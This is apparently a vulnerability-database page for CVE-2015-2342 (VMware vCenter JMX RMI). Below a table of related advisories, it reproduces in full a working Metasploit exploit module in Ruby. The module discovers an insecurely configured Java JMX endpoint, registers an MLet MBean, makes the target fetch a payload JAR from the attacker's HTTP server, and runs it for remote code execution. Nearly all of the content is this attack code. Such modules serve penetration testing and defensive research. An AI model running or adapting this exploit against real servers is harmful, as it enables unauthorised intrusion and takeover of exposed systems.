| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| The software for managing VMware vCenter Server is vulnerable, allowing a hacker to execute arbitrary Java code. | 7 Jul 201600:00 | – | bdu_fstec | |
| CVE-2015-2342 | 17 Feb 201500:00 | – | circl | |
| VMware vCenter Server JMX RMI Service Vulnerability | 14 Oct 201500:00 | – | cnvd | |
| CVE-2015-2342 | 12 Oct 201510:00 | – | cve | |
| CVE-2015-2342 | 12 Oct 201510:00 | – | cvelist | |
| Java JMX Server Insecure Endpoint Code Execution Scanner | 30 Jul 201820:25 | – | metasploit | |
| CVE-2015-2342 | 12 Oct 201510:59 | – | nvd | |
| VMware ESXi OpenSLP Remote Code Execution (VMSA-2015-0007) | 5 Oct 201500:00 | – | openvas | |
| VMware ESXi OpenSLP Remote Code Execution (VMSA-2015-0007) - Remote Version Check | 5 Oct 201500:00 | – | openvas | |
| VMware vCenter Server Multiple Vulnerabilities (VMSA-2015-0007) | 5 Oct 201500:00 | – | openvas |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::Java::Rmi::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
'Description' => %q{
This module takes advantage a Java JMX interface insecure configuration, which would
allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
interfaces with authentication enabled will be vulnerable only if a weak configuration
is deployed (allowing to use javax.management.loading.MLet, having a security manager
allowing to load a ClassLoader MBean, etc.).
},
'Author' =>
[
'Braden Thomas', # Attack vector discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],
['CVE', '2015-2342']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Targets' =>
[
[ 'Generic (Java Payload)', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2013-05-22'
))
register_options([
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
])
register_common_rmi_ports_and_services
end
def post_auth?
true
end
def on_request_uri(cli, request)
if @jar.nil?
p = regenerate_payload(cli)
@jar = p.encoded_jar({random:true})
paths = [
["metasploit", "JMXPayloadMBean.class"],
["metasploit", "JMXPayload.class"],
]
@jar.add_file('metasploit/', '')
paths.each do |path_parts|
path = ['java', path_parts].flatten.join('/')
contents = ::MetasploitPayloads.read(path)
@jar.add_file(path_parts.join('/'), contents)
end
end
if request.uri =~ /mlet$/
jar = "#{rand_text_alpha(8 + rand(8))}.jar"
mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "
mlet << "archive=\"#{jar}\" "
mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
send_response(cli, mlet,
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
})
print_status("Replied to request for mlet")
elsif request.uri =~ /\.jar$/i
send_response(cli, @jar.pack,
{
'Content-Type' => 'application/java-archive',
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
end
end
def autofilter
return true
end
def check
connect
unless is_rmi?
return Exploit::CheckCode::Safe
end
mbean_server = discover_endpoint
disconnect
if mbean_server.nil?
return Exploit::CheckCode::Safe
end
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
unless is_rmi?
return Exploit::CheckCode::Unknown
end
jmx_endpoint = handshake(mbean_server)
disconnect
if jmx_endpoint.nil?
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Appears
end
def exploit
vprint_status("Starting service...")
start_service
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
connect
print_status("Sending RMI Header...")
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
print_status("Discovering the JMXRMI endpoint...")
mbean_server = discover_endpoint
disconnect
if mbean_server.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
else
print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
end
# First try to connect to the original RHOST, since the mbean address may be inaccessible
begin
connect(true, { 'RPORT' => mbean_server[:port] })
rescue Rex::ConnectionError
# If that fails, try connecting to the listed address instead
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
end
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
end
print_status("Proceeding with handshake...")
jmx_endpoint = handshake(mbean_server)
if jmx_endpoint.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
else
print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
end
print_status("Loading payload...")
unless load_payload(jmx_endpoint)
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
end
print_status("Executing payload...")
send_jmx_invoke(
object_number: jmx_endpoint[:object_number],
uid_number: jmx_endpoint[:uid].number,
uid_time: jmx_endpoint[:uid].time,
uid_count: jmx_endpoint[:uid].count,
object: "#{@mlet}:name=jmxpayload,id=1",
method: 'run'
)
disconnect
end
def is_rmi?
send_header
ack = recv_protocol_ack
if ack.nil?
return false
end
true
end
def discover_endpoint
rmi_classes_and_interfaces = [
'javax.management.remote.rmi.RMIConnectionImpl',
'javax.management.remote.rmi.RMIConnectionImpl_Stub',
'javax.management.remote.rmi.RMIConnector',
'javax.management.remote.rmi.RMIConnectorServer',
'javax.management.remote.rmi.RMIIIOPServerImpl',
'javax.management.remote.rmi.RMIJRMPServerImpl',
'javax.management.remote.rmi.RMIServerImpl',
'javax.management.remote.rmi.RMIServerImpl_Stub',
'javax.management.remote.rmi.RMIConnection',
'javax.management.remote.rmi.RMIServer'
]
ref = send_registry_lookup(name: datastore['JMXRMI'])
return nil if ref.nil?
unless rmi_classes_and_interfaces.include? ref[:object]
vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
return nil
end
ref
end
def handshake(mbean)
begin
opts = {
object_number: mbean[:object_number],
uid_number: mbean[:uid].number,
uid_time: mbean[:uid].time,
uid_count: mbean[:uid].count
}
if datastore['JMX_ROLE']
username = datastore['JMX_ROLE']
password = datastore['JMX_PASSWORD']
opts.merge!(username: username, password: password)
end
ref = send_new_client(opts)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("JMXRMI discovery raised an exception of type #{e.message}")
return nil
end
ref
end
def load_payload(conn_stub)
vprint_status("Getting JMXPayload instance...")
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: "#{@mlet}:name=jmxpayload,id=1"
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceNotFoundException'
vprint_warning("JMXPayload instance not found, trying to load")
return load_payload_from_url(conn_stub)
else
vprint_error("getObjectInstance returned unexpected exception #{e.message}")
return false
end
end
return false if res.nil?
true
end
def load_payload_from_url(conn_stub)
vprint_status("Creating javax.management.loading.MLet MBean...")
begin
res = send_jmx_create_mbean(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'javax.management.loading.MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("javax.management.loading.MLet already exists")
res = true
when 'java.lang.SecurityException'
vprint_error(" The provided user hasn't enough privileges")
res = nil
else
vprint_error("createMBean raised unexpected exception #{e.message}")
res = nil
end
end
if res.nil?
vprint_error("The request to createMBean failed")
return false
end
vprint_status("Getting javax.management.loading.MLet instance...")
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'DefaultDomain:type=MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("getObjectInstance returned unexpected exception: #{e.message}")
return false
end
if res.nil?
vprint_error("The request to GetObjectInstance failed")
return false
end
vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
begin
res = send_jmx_invoke(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("invoke() returned unexpected exception: #{e.message}")
return false
end
if res.nil?
vprint_error("The call to getMBeansFromURL failed")
return false
end
true
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation